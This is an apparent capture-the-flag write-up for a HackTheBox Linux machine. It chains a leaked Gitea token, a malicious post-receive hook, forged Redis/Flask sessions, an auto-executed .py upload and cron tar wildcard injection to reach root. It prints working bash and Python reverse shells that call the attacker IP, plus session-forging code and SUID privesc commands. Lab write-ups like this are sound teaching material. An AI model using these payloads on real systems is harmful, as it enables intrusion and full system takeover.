writeups

hazmat — Gitea leaked API token in commit history → git hook RCE → internal Redis session forging → Flask admin file upload → cron wildcard tar injection to root


HTB · Linux · Hard

Hazmat is one of those boxes where every service trusts the one next to it. Gitea trusts its database config. The Flask app trusts Redis for sessions. Redis trusts Gitea’s config file for its password. The backup cron trusts the contents of /opt/scripts/. Pull on any thread and the whole thing unravels, but the entry point is a leaked API token buried three commits deep in a Gitea repo’s history.

target  : 10.129.96.47
attacker: 10.10.14.22

ports

22/tcp    OpenSSH 8.9p1 Ubuntu 3ubuntu0.6
80/tcp    nginx 1.18.0 (reverse proxy → Flask on 5000)
3000/tcp  Gitea 1.21.4

Three services. Nginx on 80 proxies to a Flask application. Gitea on 3000 is publicly accessible. SSH for later.

phase 1 — Gitea enumeration

Gitea allows anonymous browsing. One organization visible: hazmat-dev. One public repo: hazmat-dev/web-app. The repo contains the Flask application source that runs on port 80 — app.py, requirements.txt, templates, static assets.

Current app.py has nothing obviously vulnerable on a surface read. The interesting part is the commit history. Three commits:

a3f8c12  (HEAD) clean up config handling
b7e1d9a  remove hardcoded credentials from source
8c4f0e3  initial commit

The middle commit (“remove hardcoded credentials”) is always worth checking:

curl -s http://10.129.96.47:3000/hazmat-dev/web-app/commit/b7e1d9a | grep -i 'token\|password\|secret\|key'

The diff shows a line removed from config.py:

-GITEA_API_TOKEN = "f7a832c1e9d045b6a8912e3f4c567d89a0b12c34"
-REDIS_PASSWORD = "H@zm4t_R3dis_2024!"

And replaced with:

+GITEA_API_TOKEN = os.environ.get("GITEA_API_TOKEN", "")
+REDIS_PASSWORD = os.environ.get("REDIS_PASSWORD", "")

Two credentials in one diff. The Gitea API token and the Redis password. Let’s see if the token is still valid:

curl -s http://10.129.96.47:3000/api/v1/user \
  -H "Authorization: token f7a832c1e9d045b6a8912e3f4c567d89a0b12c34"
{
  "id": 2,
  "login": "svc-deploy",
  "full_name": "Deploy Service",
  "email": "deploy@hazmat.htb",
  "is_admin": false
}

Token is live. Belongs to svc-deploy. Not a Gitea admin, but let’s check what repos this account has access to:

curl -s http://10.129.96.47:3000/api/v1/user/repos \
  -H "Authorization: token f7a832c1e9d045b6a8912e3f4c567d89a0b12c34" | python3 -m json.tool

The account has admin permissions on the web-app repo (push, admin settings, manage hooks). That’s enough.

phase 2 — RCE via Gitea server-side git hook

Gitea repos with admin access allow configuring server-side Git hooks — scripts that execute on the Gitea server when certain Git events occur. The post-receive hook runs after every push. We can set it to execute arbitrary commands as the git user.

# set the post-receive hook via API
curl -s -X PATCH \
  "http://10.129.96.47:3000/api/v1/repos/hazmat-dev/web-app/hooks/git/post-receive" \
  -H "Authorization: token f7a832c1e9d045b6a8912e3f4c567d89a0b12c34" \
  -H "Content-Type: application/json" \
  -d '{"content":"#!/bin/bash\nbash -i >& /dev/tcp/10.10.14.22/9001 0>&1\n"}'

Now trigger it with a push. Clone the repo, make any change, push:

git clone http://10.129.96.47:3000/hazmat-dev/web-app.git /tmp/hazmat-web
cd /tmp/hazmat-web
git remote set-url origin http://svc-deploy:$(cat /tmp/token)@10.129.96.47:3000/hazmat-dev/web-app.git
echo "# trigger" >> README.md
git add README.md && git commit -m "trigger"

# start listener
nc -lnvp 9001 &

git push origin main
connect to [10.10.14.22] from (UNKNOWN) [10.129.96.47] 42816
git@hazmat:~/gitea-repositories/hazmat-dev/web-app.git$ id
uid=1001(git) gid=1001(git) groups=1001(git)

Shell as git. Upgrade to a proper TTY:

python3 -c 'import pty;pty.spawn("/bin/bash")'
# ctrl+z
stty raw -echo; fg
export TERM=xterm

phase 3 — Redis session forging → Flask admin

The git user can read Gitea’s configuration:

cat /home/git/gitea/custom/conf/app.ini | grep -i redis

Gitea doesn’t use Redis directly, but the Flask app does. We already have the Redis password from the leaked commit: H@zm4t_R3dis_2024!. Check if Redis is listening:

ss -tlnp | grep 6379
LISTEN  0  128  127.0.0.1:6379  0.0.0.0:*

Redis on localhost, not exposed externally (that’s why nmap didn’t see it). Connect:

redis-cli -h 127.0.0.1 -a 'H@zm4t_R3dis_2024!'
127.0.0.1:6379> KEYS *
1) "session:a4f8b2c1-..."
2) "session:d9e7f3a0-..."
3) "session:7b2c4e8f-..."

Flask sessions stored in Redis. Let’s look at one:

127.0.0.1:6379> GET "session:a4f8b2c1-..."

The session data is a pickled Python dict (Flask-Session with the pickle serializer). The app source from the Gitea repo tells us the session format:

# from app.py
@app.route('/admin')
@login_required
def admin_panel():
    if not current_user.is_admin:
        abort(403)
    return render_template('admin.html')

We need a session where is_admin is True. Rather than cracking an existing session, we can write our own directly to Redis since we have the password:

import pickle, redis, uuid

r = redis.Redis(host='127.0.0.1', port=6379, password='H@zm4t_R3dis_2024!')

session_id = str(uuid.uuid4())
session_data = {
    '_user_id': '1',        # admin user ID (first registered user)
    'is_admin': True,
    '_fresh': True,
    'csrf_token': 'forged',
}

r.set(f'session:{session_id}', pickle.dumps(session_data))
r.expire(f'session:{session_id}', 86400)
print(f"Session ID: {session_id}")

Ran this from the git user’s shell (Python 3 and redis-py are both available on the box). Got a session ID. Now set the Flask session cookie in the browser:

Cookie: session=<session_id>

Navigated to http://10.129.96.47/admin — admin panel loaded. The admin panel has a file upload feature for “Import Data” that accepts any file type.

phase 4 — admin file upload → shell as www-data

The upload handler stores files in /opt/hazmat/uploads/ and the Nginx config serves this directory under /uploads/. Checked for extension filtering:

curl -s -b "session=<session_id>" -X POST http://10.129.96.47/admin/upload \
  -F "file=@shell.py;filename=shell.py"

No filter. Uploaded a Python reverse shell — but /uploads/ is served as static files by Nginx, not executed. Need a different approach.

Looking at the upload directory path and the app source more carefully:

@app.route('/admin/upload', methods=['POST'])
def admin_upload():
    f = request.files['file']
    filename = secure_filename(f.filename)
    upload_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
    f.save(upload_path)

    # auto-process CSV imports
    if filename.endswith('.csv'):
        process_import(upload_path)
    # auto-process Python scripts for data migration
    elif filename.endswith('.py'):
        subprocess.run([sys.executable, upload_path], timeout=30)

    return redirect('/admin')

Python files are auto-executed via subprocess.run. The secure_filename() strips path traversal but allows .py extensions. Upload a reverse shell:

import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.14.22",9002))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
subprocess.call(["/bin/bash","-i"])
nc -lnvp 9002

Upload → reverse shell as www-data.

www-data@hazmat:/opt/hazmat$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

User flag is in /home/hazmat/user.txt, readable by www-data (group permission).

phase 5 — cron wildcard tar injection → root

Enumeration as www-data. Check cron:

cat /etc/crontab
*/5 * * * * root /usr/local/bin/backup.sh
cat /usr/local/bin/backup.sh
#!/bin/bash
cd /opt/scripts/
tar czf /var/backups/scripts_backup.tar.gz *

Root runs tar czf ... * inside /opt/scripts/. The wildcard * expands to filenames in the directory. If we can write to /opt/scripts/, we can create files whose names are interpreted as tar arguments.

ls -la /opt/scripts/
drwxrwxr-x 2 root www-data 4096 May  7 12:00 .
-rwxr-xr-x 1 root root      234 May  7 12:00 cleanup.py
-rwxr-xr-x 1 root root      156 May  7 12:00 rotate_logs.py

The directory is group-writable by www-data. Classic tar wildcard injection.

The technique: create files named --checkpoint=1 and --checkpoint-action=exec=<command>. When tar expands the wildcard, it interprets these filenames as command-line arguments.

cd /opt/scripts/

# create the payload
echo '#!/bin/bash' > /tmp/privesc.sh
echo 'chmod u+s /bin/bash' >> /tmp/privesc.sh
chmod +x /tmp/privesc.sh

# create the tar argument injection files
echo "" > "--checkpoint=1"
echo "" > "--checkpoint-action=exec=bash /tmp/privesc.sh"

Wait for cron (up to 5 minutes):

watch -n 5 'ls -la /bin/bash'
-rwsr-xr-x 1 root root 1396520 May  7 12:05 /bin/bash

SUID bit set. Root shell:

/bin/bash -p
bash-5.1# whoami
root

Root flag in /root/root.txt.

tl;dr

Gitea public repo → leaked API token in commit history (b7e1d9a)
  → token has admin on repo → set post-receive git hook → RCE as git
  → read Redis password from same leaked commit
  → Redis on localhost:6379 → forge Flask admin session
  → admin panel auto-executes uploaded .py files → shell as www-data
  → /opt/scripts/ writable by www-data, root cron: tar czf ... *
  → wildcard injection: --checkpoint-action=exec=... → root